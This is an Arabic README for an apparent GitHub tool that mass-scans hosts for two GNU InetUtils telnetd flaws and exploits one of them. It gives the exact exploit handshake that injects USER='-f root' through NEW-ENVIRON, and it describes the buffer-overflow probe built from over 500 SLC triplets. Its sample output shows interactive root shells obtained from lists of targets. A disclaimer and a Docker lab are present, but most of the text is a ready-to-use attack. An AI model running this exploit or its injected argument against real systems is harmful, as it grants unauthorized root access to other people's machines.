ماسح ثغرات Telnet (CVE-2026-24061 و CVE-2026-32746)

أداة تقييم أمنية مبنية بلغة Python تكتشف (وعند الإمكان تستغل) ثغريتين خطيرتين في GNU InetUtils telnetd:

• CVE-2026-24061 – تجاوز المصادقة عبر حقن متغير البيئة USER (CVSS 9.8)
• CVE-2026-32746 – تجاوز سعة المخزن المؤقت قبل المصادقة في معالج LINEMODE SLC (CVSS 9.8)

إخلاء مسؤولية مهم

هذه الأداة لأغراض الاختبار الأمني المصرح به والتعليم فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. يخلي المؤلفون مسؤوليتهم عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة. استخدمها على مسؤوليتك الخاصة.

الميزات

• مسح هدف واحد – أدخل عناوين IP أو أسماء نطاقات أثناء التشغيل
• المسح الدفعي – رفع ملف يحتوي على عدة أهداف (هدف واحد في كل سطر)
• الاختبار الانتقائي – اختبار أي من الثغرتين بشكل فردي أو كلتيهما
• استغلال CVE-2026-24061 – إذا كانت الثغرة موجودة، تقوم الأداة بإسقاطك في شل جذر تفاعلي مباشرة في نفس الطرفية
• كشف CVE-2026-32746 – يحدد الأنظمة الضعيفة عبر كشف الانهيار المتحكم به
• معالجة طرفية نظيفة – شل وضع خام مع استعادة صحيحة عند الخروج
• التحقق من الاتصال – يميز بين المنافذ المفلترة والخدمات غير المتصلة والثغرات الفعلية
• تصحيح الأخطاء المفصل – اضبط TELNET_SCAN_VERBOSE=1 لرؤية كل حزمة IAC وسرد خطوات الاستغلال خطوة بخطوة
• بيئة مختبر Docker – هدف ضعيف مكتفي بذاته للاختبار الآمن

التثبيت

git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py

الاستخدام

التنفيذ الأساسي

python3 telnet_scanner.py

مختبر Docker (اختبار آمن)

اختبر الاستغلال ضد هدف ضعيف معروف دون المخاطرة بأنظمة حقيقية:

cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Target: 127.0.0.1, Port: 2323

يدير المختبر إصدارًا ضعيفًا من GNU InetUtils 2.5 telnetd في حاوية معزولة، مرتبطة فقط بـ localhost. لا تعرض للشبكة.

الوضع المفصل

صَحِّح مصافحة telnet وشاهد بالضبط ما يحدث على الشبكة:

TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py

يظهر الإخراج المفصل:

• كل أمر IAC (DO/WILL/SB) يُرسل ويُستقبل
• أسماء خيارات telnet المفكوكة
• تفريغ سداسي عشري للحمولة لمفاوضات فرعية
• تدفق الاستغلال خطوة بخطوة (مصافحة من 6 خطوات)

سير عمل الهدف الفردي

1. اختر الخيار 1
2. أدخل الهدف (IP أو نطاق، مثل 192.168.1.100 أو example.com)
3. حدد المنفذ (الافتراضي 23 إذا تُرك فارغًا)
4. حدد نوع الاختبار:
   • 1 – كلتا الثغرتين
   • 2 – فقط CVE-2026-24061 (تجاوز المصادقة)
   • 3 – فقط CVE-2026-32746 (تجاوز سعة المخزن المؤقت)

سير عمل المسح الدفعي

1. أنشئ ملفًا بالأهداف (هدف واحد في كل سطر) مثال targets.txt:

   192.168.1.100
   192.168.1.101
   10.0.0.50
   example.com
   # This is a comment line - ignored
   

2. اختر الخيار 2
3. أدخل اسم الملف
4. حدد المنفذ (الافتراضي 23)
5. حدد نوع الاختبار (1 أو 2 أو 3)
6. سيقوم الماسح بـ:
   • يعرض التقدم لكل هدف
   • يعرض النتائج عند اكتمالها
   • يقدم جدول ملخص في النهاية

عند الحصول على شل

إذا نجح CVE-2026-24061:

1. يتم اكتشاف الثغرة
2. تظهر شل جذر تفاعلية مباشرة في نفس نافذة الطرفية
3. اكتب الأوامر وشاهد المخرجات فورًا (مثل id وwhoami وls)
4. اضغط Ctrl+C للخروج من الشل والعودة إلى قائمة الماسح
5. بالنسبة للمسح الدفعي، سيُطلب منك ما إذا كنت تريد التفاعل مع الشل أم مواصلة المسح

لا حاجة لطرفية منفصلة أو خطوات إضافية.

كيف يعمل

CVE-2026-24061 – تجاوز المصادقة

يتبع الاستغلال مصافحة telnet دقيقة من 6 خطوات لضمان التوافق مع GNU InetUtils telnetd الحقيقي:

1. انتظر مفاوضات الخادم – حتى 15 ثانية لـ DNS العكسي وخيارات DO الأولية
2. الرد بـ WILL – تأكيد TTYPE وTSPEED وXDISPLOC وNEW_ENVIRON
3. انتظر SB SEND – طلبات التفاوض الفرعي من الخادم
4. أرسل حمولة الاستغلال – تعيين USER="-f root" عبر التفاوض الفرعي NEW_ENVIRON
5. تعامل مع التبادلات المتبقية – الرد على DO/WILL لـ SGA وECHO وLINEMODE وNAWS
6. اكتشاف الشل – ابحث عن المطالبة # أو root@ أو $

يرسل خيط البقاء على قيد الحياة IAC NOP كل ثانيتين لمنع ttloop() الخاص بـ telnetd من اكتشاف EOF واستدعاء exit(1) قبل معالجة الحمولة.

يقوم telnetd الضعيف بتمرير -f root إلى /usr/bin/login، متجاوزًا المصادقة ومانحًا وصولًا فوريًا لشل الجذر.

CVE-2026-32746 – كشف تجاوز سعة المخزن المؤقت

• يتفاوض على خيار LINEMODE (RFC 1184)
• يرسل أكثر من 500 توائم SLC (أكثر من 1500 بايت) لتجاوز سعة المخزن المؤقت ذي الحجم الثابت
• يراقب إعادة تعيين/انهيار الاتصال لتأكيد الثغرة

التحقق من الاتصال

• يقوم بالمسح المسبق للتحقق من توفر الخدمة قبل محاولة الاستغلال
• يميز بين:
  • المنافذ المفلترة (حظر جدار الحماية)
  • الخدمات غير المتصلة (لا توجد خدمة قيد التشغيل)
  • الخدمات الضعيفة (استغلال ناجح)

نموذج الإخراج

هدف فردي

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 1
Port (default 23): 

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100

[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...

[*] Checking if service is reachable...
[+] Service reachable

[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================

id
uid=0(root) gid=0(root) groups=0(root)

إخراج الوضع المفصل (جزئي)

    [STEP 1/6] Waiting for server negotiation (may take up to 15s)...
    [STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
           decoded: IAC DO TERMINAL-TYPE
           decoded: IAC DO TERMINAL-SPEED  
           decoded: IAC DO X-DISPLAY-LOCATION
           decoded: IAC DO NEW-ENVIRON
    [STEP 2/6] Responding WILL to all DO options
    [STEP 3/6] Waiting for SB SEND subnegotiation requests...
    [STEP 4/6] Sending subnegotiation responses...
               NEW-ENVIRON IS VAR USER VALUE "-f root"  *** EXPLOIT ***
    [STEP 5/6] Handling remaining option negotiations...
    [STEP 5/6] Text received: 'root@vuln-lab:~# '
    [RESULT] SUCCESS: Passwordless root login via USER="-f root" injection

المسح الدفعي

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 2
Port (default 23): 
Enter filename with targets (one per line): targets.txt

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1

[*] Loaded 3 targets from targets.txt

==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable

[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

[?] Shell obtained! Interact now? (y/N): n

[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable

==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23

==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable

[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable